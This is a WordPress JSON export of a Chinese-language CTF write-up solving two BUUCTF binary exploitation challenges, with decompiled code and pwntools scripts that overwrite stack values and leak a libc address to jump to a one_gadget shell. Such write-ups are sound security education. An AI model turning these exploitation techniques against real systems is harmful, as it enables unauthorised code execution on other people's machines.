{"id":496,"date":"2025-08-18T13:23:16","date_gmt":"2025-08-18T05:23:16","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=496"},"modified":"2025-08-18T13:23:17","modified_gmt":"2025-08-18T05:23:17","slug":"buuctf%e6%8a%a4%e7%bd%91%e6%9d%af_2018_gettingstart%e3%80%81oneshot_tjctf_2016","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/18\/buuctf%e6%8a%a4%e7%bd%91%e6%9d%af_2018_gettingstart%e3%80%81oneshot_tjctf_2016\/","title":{"rendered":"buuctf:\u62a4\u7f51\u676f_2018_gettingstart\u3001oneshot_tjctf_2016"},"content":{"rendered":"\n

1\u3001\u62a4\u7f51\u676f_2018_gettingstart\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


64\u4f4d\u8fd8\u5f00\u5f97\u633a\u591a\u7684\uff0c\u8fde\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5982\u679c\u6211\u4eec\u4e0d\u5904\u7406\uff0c\u5f97\u7b49\u6b7b\uff0c\u6240\u4ee5\u54b1\u5f97\u627e\u627e\u6f0f\u6d1e<\/p>\n\n\n\n

\u7a0b\u5e8f\u662f\u6709\u540e\u95e8\u51fd\u6570\u7684\uff0c\u53ef\u80fd\u9700\u8981\u8fbe\u6210\u4ec0\u4e48\u6761\u4ef6\u624d\u80fd\u89e6\u53d1<\/p>\n\n\n\n

main\u51fd\u6570<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u53ef\u4ee5\u53d1\u73b0\u4e0d\u4f1a\u9020\u6210\u6808\u6ea2\u51fa\uff0c\u53ef\u4ee5\u53d1\u73b0\u6211\u4eec\u9700\u8981\u6ee1\u8db3\u4e0b\u9762\u7684\u6761\u4ef6\uff1a<\/p>\n\n\n\n

  if ( v8 != 0x7FFFFFFFFFFFFFFFLL || v9 != 0.1 )\n  {\n    puts(\"Try again!\");\n  }\n  else\n  {\n    printf(\"HuWangBei CTF 2018 will be getting start after %g seconds...\\n\", &buf, v9);\n    system(\"\/bin\/sh\");\n  }<\/code><\/pre>\n\n\n\n

v8=0x7FFFFFFFFFFFFFFF\u6216\u8005v9=0.1,\u4f46\u662f\u7a0b\u5e8f\u8fdb\u884c\u8fc7\u521d\u59cb\u5316\uff0c<\/p>\n\n\n\n
v8 = 0x7FFFFFFFFFFFFFFFLL;\n  v9 = 1.797693134862316e308;<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
var_18\u548cvar_10\u662f\u5b58\u6709v8\u548cv9,\u90a3\u4e48\u5199\u5165\u7684\u65f6\u5019\u80fd\u591f\u6539\u6389\u8fd9\u4e24\u4e2a\u503c\uff0c\u4f46\u662f\u6709\u4e00\u4e2a\u77e5\u8bc6\u70b9\u9700\u8981\u6ce8\u610f\u4e00\u4e0b\uff0c\u611f\u8c22\u5927\u4f6c\u7684\u535a\u5ba2\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u8ba1\u7b97\u7684\u5c0f\u5de5\u5177<\/p>\n\n\n\n
https:\/\/www.binaryconvert.com\/result_double.html?decimal=048046049<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ce8\u610f\u662fdouble\u7c7b\u578b<\/p>\n\n\n\n
2\u3001\u62a4\u7f51\u676f_2018_gettingstart\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26580)\n\npayload=b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001oneshot_tjctf_2016\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4d+NX\uff0c\u8fde\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u6837\u5b50\uff0c\u53bb\u627e\u627e\u6f0f\u6d1e<\/p>\n\n\n\n
main\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u6211\u4eec\u586b\u4e00\u4e2a\u5730\u5740\uff0c\u540e\u9762\u662f\u8df3\u5230\u67d0\u4e2a\u5730\u5740\uff0c\u5509\u597d\u60f3\u8df3\u5230\u540e\u95e8\u53bb\uff0c\u53ef\u60dc\u6ca1\u6709\u73b0\u8d27\uff0c\u548b\u529e\u634f\uff1f<\/p>\n\n\n\n
\u5229\u7528one_gadget\u5427\uff0c\u8bd5\u4e00\u8bd5\u5457<\/p>\n\n\n\n
\u6d41\u7a0b\u5c31\u662f\u5148\u6cc4\u9732libc,\u7136\u540e\u770b\u770bone_gadget\uff0c\u8ba1\u7b97\u5730\u5740\uff0c\u6700\u540e\u4e00\u4e2a\u4e00\u4e2a\u8bd5\u8bd5\u5427<\/p>\n\n\n\n
4\u3001oneshot_tjctf_2016\u5b9e\u64cd<\/h2>\n\n\n\n
\u5148\u6cc4\u9732libc\uff0c\u7528puts\u5427<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29327)\nelf=ELF(\".\/oneshot_tjctf_2016\")\n\nrdi=0x400743\nputs_got=elf.got['puts']\np.recvuntil(\"Read location?\")\np.sendline(str(puts_got))\np.recvuntil(\"Value:\")\np.interactive()         <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

ok,\u63a5\u4e0b\u6765\u5c31\u662fone_gadget\u7684\u4e8b\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6709\u5f88\u591a\uff0c\u9009\u7b2c\u4e00\u4e2a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29327)\nelf=ELF(\".\/oneshot_tjctf_2016\")\n\nrdi=0x400743\nputs_got=elf.got['puts']\np.recvuntil(\"Read location?\")\np.sendline(str(puts_got))\np.recvuntil(\"0x\")\nputs=int(p.recvuntil('\\n'),16)\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\none_gadget=0x45216+base\np.sendline(str(one_gadget))\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u5230\u8fd9\u513f\u5427……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001\u62a4\u7f51\u676f_2018_gettingstart\u5206\u6790 64\u4f4d\u8fd8\u5f00\u5f97\u633a\u591a\u7684\uff0c\u8fde\u4e00\u4e0b \u5982\u679c\u6211\u4eec\u4e0d\u5904\u7406\uff0c\u5f97\u7b49\u6b7b\uff0c\u6240\u4ee5\u54b1 […]<\/p>\n","protected":false},"author":1,"featured_media":513,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-496","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/496","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=496"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/496\/revisions"}],"predecessor-version":[{"id":514,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/496\/revisions\/514"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/513"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=496"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=496"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=496"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}